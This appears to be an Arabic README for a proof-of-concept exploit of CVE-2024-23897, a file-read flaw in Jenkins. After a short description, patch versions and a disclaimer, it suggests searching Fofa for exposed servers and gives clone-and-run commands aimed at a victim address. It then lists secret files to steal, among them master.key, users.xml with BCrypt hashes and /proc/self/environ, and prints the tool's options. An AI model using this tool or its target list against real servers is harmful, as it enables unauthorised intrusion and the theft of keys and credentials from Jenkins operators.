
POC - ثغرة قراءة الملفات في Jenkins - CVE-2024-23897
CVE-2024-23897 هي ثغرة أمنية حرجة في Jenkins تسمح للمهاجمين غير المصادق عليهم بقراءة ملفات عشوائية على نظام ملفات وحدة تحكم Jenkins. ينشأ هذا الخلل من المعالجة غير الصحيحة لوسائط الأوامر في مكتبة args4j، وتحديدًا في عمليات سطر الأوامر حيث يمكن أن يؤدي حرف @ متبوعًا بمسار ملف إلى كشف غير مصرح به لمحتوى الملف.
تشكل هذه الثغرة خطرًا كبيرًا لأنها تمكن المهاجمين من الوصول إلى معلومات حساسة، مثل مفاتيح التشفير وملفات الإعدادات، والتي قد تُستغل لمزيد من الهجمات، بما في ذلك تنفيذ التعليمات البرمجية عن بُعد (RCE). وتثير هذه المشكلة قلقًا خاصًا نظرًا للاستخدام الواسع لـ Jenkins في خطوط أنابيب CI/CD وعدد حالات Jenkins المكشوفة عالميًا.
تم إصدار إصلاح أمني يعالج هذه الثغرة في إصدارات Jenkins 2.442 والإصدارات الأحدث، بالإضافة إلى Jenkins LTS الإصدار 2.426.3 والإصدارات الأحدث. يُنصح المستخدمون بشدة بترقية تثبيتات Jenkins الخاصة بهم للتخفيف من هذا الخطر وحماية المعلومات الحساسة.
اقرأ عنها —
إخلاء مسؤولية: صُمم هذا الدليل الإثباتي (POC) لأغراض تعليمية واختبار أخلاقي فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة يعد غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون المسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
للعثور على الأهداف المحتملة، استخدم Fofa (مماثل لـ Shodan.io):
تشمل إصدارات Jenkins المتأثرة الإصدارات حتى 2.441 وحتى 2.426.2 لإصدار Jenkins LTS.
استنساخ المستودع:
git clone https://github.com/verylazytech/CVE-2024-23897
تشغيل الاستغلال:
python3 CVE-2024-23897.py -u <Victim_ip:port>

أدخل الملف الذي تريد قراءته في الصدفة (في هذه الحالة /etc/passwd):

بعض الملفات التي قد تكون ذات أهمية:
/proc/self/environ متغيرات البيئة بما في ذلك JENKINS_HOME/proc/self/cmdline وسائط سطر الأوامر/var/jenkins_home/users/users.xml مواقع تخزين حسابات المستخدمين/var/jenkins_home/users/<user_directory>/config.xml تجزئة كلمة مرور المستخدم BCrypt/var/jenkins_home/secrets/master.key مفتاح التشفير السري/etc/hosts تحليل أسماء النطاقات المحلية في Linux (local-DNS)/etc/passwd حسابات مستخدمي Linuxusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag